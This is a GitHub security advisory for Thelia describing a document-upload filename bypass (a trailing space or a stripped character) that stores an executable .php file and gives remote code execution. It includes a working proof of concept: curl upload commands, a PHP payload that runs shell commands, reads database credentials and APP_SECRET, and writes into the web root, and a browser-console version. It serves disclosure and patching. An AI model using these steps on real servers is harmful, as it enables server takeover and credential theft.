thelia/thelia: Upload policy bypass stores an executable `.php` document and runs it on the shop server (RCE)
What fixes it
- 3.1.2thelia/thelia, composerGitHub
composer require "thelia/thelia:^3.1.2" - 3.2.1thelia/thelia, composerGitHub
composer require "thelia/thelia:^3.2.1" - 3.1.2thelia/core, composerGitHub
composer require "thelia/core:^3.1.2" - 3.2.1thelia/core, composerGitHub
composer require "thelia/core:^3.2.1"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Thelia validates document uploads against the raw filename the client sends, but writes the file under a different, re-sanitized name. A filename such as report.php (one trailing space, invisible in most tools) dodges both checks: the blacklist regex is anchored to the end of the name, and the server-executable floor compares dot segments exactly, so it sees php instead of php. The storage step then strips the space and saves the file as report-1.php. The file is published under the public cache directory as a symlink, and Apache with mod_php executes it on the next request. The result is remote code execution as the www-data user, available to any administrator profile that may upload documents. Verified inside a container running Apache 2.4.68 with mod_php, PHP 8.3.35 and MariaDB 11.4, on a fresh install of the affected version.
Details
Affected code (verified in pristine repo/ @ 7668f3d):
- Upload entry:
POST /api/admin/product_documentsand the other four document
endpoints, /api/admin/category_documents, /api/admin/content_documents, /api/admin/folder_documents, /api/admin/brand_documents (all five document resources declare file type document), handled by core/lib/Thelia/Api/Controller/Admin/PostItemFileController.php:47-85 into core/lib/Thelia/Api/Bridge/Propel/Service/ItemFileResourceService.php:59 (validateUpload($file, 'document')).
- Check 1, terminal blacklist regex:
core/lib/Thelia/Core/File/Service/FileProcessorService.php:119 takes getClientOriginalName() as-is, and :144-155 matches #^(.+)\.(php|phtml|...)$#i against it. report.php ends with a space, so the anchor never matches and the file passes.
- Check 2, server-executable floor:
FileProcessorService.php:160-167calls
FileConfiguration::findExecutableExtension() (core/lib/Thelia/Core/File/FileConfiguration.php:180-193), which splits the raw name on . and compares segments with a strict in_array. The segment is php , which is not php, so the floor passes too.
- Storage rewrites the name:
core/lib/Thelia/Core/File/FileManager.php:199-214
takes the client extension (.php ), appends -{id}, then sanitizeFileName() (FileManager.php:131-134, which strips every character outside [a-zA-Z0-9-_.] and lowercases) produces report-1.php. No validation runs against the stored name.
- Publication:
core/lib/Thelia/Action/Document.phplinks the stored file into
public/cache/documents/<type>/, where the web server serves it. The same file is also readable, unexecuted, through the public GET /api/front/product_documents/{id}/file endpoint.
- Privilege: document CREATE is a per-resource grant, not a super-admin action:
ProductDocument maps to AdminResources::PRODUCT (core/lib/Thelia/Api/Security/AdminApiResourcePermissions.php:150).
Why the stored file executes on a stock deployment, and not only on a development server:
- Thelia ships
public/.htaccesswhose first line is
Options +FollowSymlinks -Indexes, so the cache symlink is followed by design.
- The rewrite rules in that file only fall through to
index.phpwhen the target
does not exist (RewriteCond %{REQUEST_FILENAME} !-f !-d), so a real .php file is handed to the PHP handler instead of the front controller.
- Nothing in
public/.htaccessdisables script execution or strips the.php
extension for public/cache/.
- The
deny from allinlocal/config/.htaccessdoes not help: it applies to
requests under /local/, which is outside the document root, while the symlinked file is requested through /cache/documents/....
The same trick works with a trailing tab, with an upper-case extension (report.PHP stores report.php-N.php, which executes), with any character sanitizeFileName removes (verified: uploading hash.ph#p stores hash-N.php, which executes), and it applies to every extension on the blacklist: report.phtml stores report-N.phtml and report.php5 stores report-N.php5. Whether those last two execute afterwards depends on the web server, because the stock PHP Apache image maps only \.php$ to the handler (/etc/apache2/conf-enabled/docker-php.conf), and it served them as source in this lab. Image and video uploads are not affected: both policies resolve a mime type and then match an allowlist of extensions against the raw name, so x.php never matches and the upload is refused.
Proof of concept
Verification environment: isolated Docker lab, application installed from the pinned pristine source (image thelia-lab-web:3.2, Apache 2.4.68 with mod_php serving /var/www/html/public, PHP 8.3.35, MariaDB 11.4.13 in a second container). The steps below run inside the web container and talk to its own Apache on 127.0.0.1, so nothing in the proof depends on the outside of the container. The lab is published on 127.0.0.1:18082 if you prefer to run the requests from the host.
Step 1, log in as admin and keep the token:
BASE=http://127.0.0.1
ATOKEN=$(curl -s -X POST $BASE/api/admin/login \
-H 'Content-Type: application/json' \
-d '{"username":"thelia","password":"TheliaAdmin1!"}' \
| php -r 'echo json_decode(stream_get_contents(STDIN), true)["token"] ?? "NO_TOKEN";')Expected: a JWT in $ATOKEN (observed length 535, header eyJ0eXAiOiJKV1Qi).
Step 2, create the payload file:
printf '<?php echo "RCE_VIA_CURL"; ?>' > /tmp/curltest.php
Expected: /tmp/curltest.php holds the one-line PHP payload.
Step 3, upload it with a client filename that carries one trailing space:
curl -s -o /tmp/up.json -w 'upload HTTP:%{http_code}\n' -X POST $BASE/api/admin/product_documents \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/curltest.php;filename="curltest.php ";type=application/octet-stream' \
-F 'product=1'Observed: HTTP 201. The response contains "file":"curltest-1.php" and "fileUrl":"http://127.0.0.1/cache/documents/product/curltest-1.php". The stored name has no trailing space: the sanitizer collapsed it into a real .php extension. The numeric id increments on later uploads; take it from the response.
Step 4, open the published URL with no credentials:
curl -s -D - $BASE/cache/documents/product/curltest-1.php
Observed: HTTP/1.1 200 OK, Server: Apache/2.4.68 (Debian), X-Powered-By: PHP/8.3.35, Content-Type: text/html; charset=UTF-8, body RCE_VIA_CURL. The uploaded file was executed by Apache.
Step 5, confirm the execution context and the impact in one payload:
cat > /tmp/ctx.php <<'PHP'
<?php
echo "sapi/server : ".php_sapi_name()." / ".($_SERVER["SERVER_SOFTWARE"] ?? "?")."\n";
echo "runtime user : ".posix_getpwuid(posix_geteuid())["name"]." (uid ".posix_geteuid().")\n";
echo "cwd : ".getcwd()."\n";
echo "script : ".($_SERVER["SCRIPT_FILENAME"] ?? "?")."\n";
echo "command exec : ".preg_replace("/\s+/", " ", (string) shell_exec("id"))."\n";
$env = @file_get_contents("/var/www/html/.env.local");
$keys = [];
foreach (explode("\n", (string) $env) as $l) {
if (preg_match("/^(DATABASE_\w+|APP_SECRET)=(.*)$/", trim($l), $m)) $keys[] = $m[1];
}
echo "secrets read : ".implode(", ", $keys)." (values not shown)\n";
$pdo = new PDO("mysql:host=db;dbname=thelia", "thelia", "thelia");
echo "db pivot : ".$pdo->query("SELECT CURRENT_USER()")->fetchColumn()." on ".$pdo->query("SELECT VERSION()")->fetchColumn()."\n";
file_put_contents("/var/www/html/public/pwned.txt", "written by uploaded payload\n");
echo "file write : /var/www/html/public/pwned.txt created\n";
PHP
curl -s -o /dev/null -w 'upload HTTP:%{http_code}\n' -X POST $BASE/api/admin/product_documents \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/ctx.php;filename="ctx.php ";type=application/octet-stream' \
-F 'product=1'
curl -s $BASE/cache/documents/product/ctx-2.phpObserved: HTTP 201, then the page prints sapi/server : apache2handler / Apache/2.4.68 (Debian), runtime user : www-data (uid 33), cwd : /var/www/html/public/cache/documents/product, script : /var/www/html/public/cache/documents/product/ctx-2.php, command exec : uid=33(www-data) gid=33(www-data) groups=33(www-data), secrets read : DATABASE_HOST, DATABASE_PORT, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD, APP_SECRET, db pivot : thelia@% on 11.4.13-MariaDB-ubu2404, and file write : /var/www/html/public/pwned.txt created. The interpreter is Apache's module handler, the process is the Apache worker of the web container, and the uploaded code ran operating system commands, opened the application database, and wrote a new file into the document root.
Step 6, confirm that write from inside the container:
ls -l /var/www/html/public/pwned.txt curl -s http://127.0.0.1:18082/pwned.txt
Observed: -rw-r--r-- 1 www-data www-data 28 ... pwned.txt, and the file is served by the same Apache.
Step 7, the same on the other four document endpoints:
for spec in "category_documents:category:1" "content_documents:content:1" "folder_documents:folder:1" "brand_documents:brand:1"; do
ep=${spec%%:*}; rest=${spec#*:}; field=${rest%%:*}; id=${rest##*:}
name=$(echo $ep | sed "s/_documents//")
code=$(curl -s -o /tmp/r.json -w "%{http_code}" -X POST $BASE/api/admin/$ep \
-H "Authorization: Bearer $ATOKEN" \
-F "fileToUpload=@/tmp/curltest.php;filename=\"${name}doc.php \";type=application/octet-stream" \
-F "$field=$id")
stored=$(php -r '$j=json_decode(file_get_contents("/tmp/r.json"),true); echo $j["file"] ?? "-";')
echo "$ep -> HTTP:$code stored:$stored"
doneObserved: category_documents -> HTTP:201 stored:categorydoc-1.php, content_documents -> HTTP:201 stored:contentdoc-1.php, folder_documents -> HTTP:201 stored:folderdoc-1.php, brand_documents -> HTTP:201 stored:branddoc-1.php.
for f in category/categorydoc-1.php content/contentdoc-1.php folder/folderdoc-1.php brand/branddoc-1.php; do
printf "%-28s -> HTTP:" "$f"
curl -s -o /tmp/b.txt -w "%{http_code}" $BASE/cache/documents/$f
printf " body:%s\n" "$(cat /tmp/b.txt)"
doneObserved: each returns HTTP 200 with body RCE_VIA_CURL, so all four endpoints execute the stored file, not just the product one.
Step 8, the video policy on its own upload route:
printf 'not really an mp4' > /tmp/fake.mp4
curl -s -o /tmp/v1.txt -w '%{http_code}\n' -X POST $BASE/api/admin/product_videos/upload \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/fake.mp4;filename="x.php ";type=video/mp4' -F 'product=1'Observed: HTTP 415, detail Only files having the following mime type are allowed: video/mp4, video/webm, video/ogg. The video policy refuses the name before any document-style storage happens.
Contrast 1, a clean .php name is refused on the document route:
printf '<?php echo "BLOCKED"; ?>' > /tmp/plain.php
curl -s -o /tmp/c1.txt -w '%{http_code}\n' -X POST $BASE/api/admin/product_documents \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/plain.php' -F 'product=1'Observed: HTTP 415, detail Files with the following extension are not allowed: php, please do an archive of the file if you want to upload it.
Contrast 2, the classic double extension is refused by the exec floor:
curl -s -o /tmp/c2.txt -w '%{http_code}\n' -X POST $BASE/api/admin/product_documents \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/plain.php;filename="plain.php.jpg"' -F 'product=1'Observed: HTTP 415. The floor found the exact php segment.
Contrast 3, the image policy is not bypassable the same way:
php -r '$im = imagecreatetruecolor(4, 4); imagejpeg($im, "/tmp/tiny.jpg");'
curl -s -o /tmp/c3.txt -w '%{http_code}\n' -X POST $BASE/api/admin/product_images \
-H "Authorization: Bearer $ATOKEN" \
-F 'fileToUpload=@/tmp/tiny.jpg;filename="x.php ";type=image/jpeg' -F 'product=1'Observed: HTTP 415, detail There's a conflict between your file extension "php " and the mime type "image/jpeg". The mime type was accepted and the anchored allowlist regex rejected the name, which is the opposite of the document path.
Persistent state inside the container:
ls -l /var/www/html/public/cache/documents/product/ ls -l /var/www/html/local/media/documents/product/ ps -eo user,pid,ppid,comm | awk '$4=="apache2"'
Observed: the public cache holds curltest-1.php -> /var/www/html/local/media/documents/product/curltest-1.php and the media store holds the real curltest-1.php, both owned by www-data; the Apache master runs as root and its workers, the ones that run the uploaded code, run as www-data. The database row for the upload is id=1 file=curltest-1.php.
Manual browser-console equivalent of steps 1, 3 and 4:
let r = await fetch('/api/admin/login', {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'thelia', password: 'TheliaAdmin1!'})
});
let {token} = await r.json();
let fd = new FormData();
fd.append('fileToUpload',
new File(['<?php echo "RCE_VIA_CURL"; ?>'], 'curltest.php ', {type: 'application/octet-stream'}),
'curltest.php ');
fd.append('product', '1');
let doc = await (await fetch('/api/admin/product_documents', {
method: 'POST', headers: {Authorization: 'Bearer ' + token}, body: fd})).json();
window.open(doc.fileUrl);Expected: doc.file ends in .php, and the opened URL prints the payload output instead of the source.
Impact
Any administrator who can upload documents gains remote code execution as the www-data user of the shop: run operating system commands as the web server, read the application database credentials and APP_SECRET from the world-readable .env.local, use them to query the shop database, and write new files into the document root, which the same web server then serves. In the container this was demonstrated end to end: shell_exec("id") returned uid=33(www-data), the database answered as thelia@% on MariaDB 11.4.13, and a new file appeared in public/ and was served over HTTP. Document CREATE is a routine catalog-manager grant, so this lifts a content-editing role to full control of the application and the host account behind it, with no victim interaction. Where a deployment is hardened so that public/ is not mapped to a PHP handler, the same upload still publishes the raw file body to a public URL.
Suggested Fix
Validate the name the file will actually be stored under. Either normalize the client filename first (trim whitespace and control characters) and run both checks on the normalized name, or re-run validateUpload() on the final name returned by renameFile() before the file is moved into place. Reject any client extension that contains characters outside [A-Za-z0-9] outright, and as defense in depth serve the document cache from a location the web server never maps to a PHP handler (or disable script execution in public/cache/).
Text from GitHub Advisory Database
Affected versions 4
- thelia/thelia, composer< 3.1.2GitHub
- thelia/thelia, composer>= 3.2.0, < 3.2.1GitHub
- thelia/core, composer< 3.1.2GitHub
- thelia/core, composer>= 3.2.0, < 3.2.1GitHub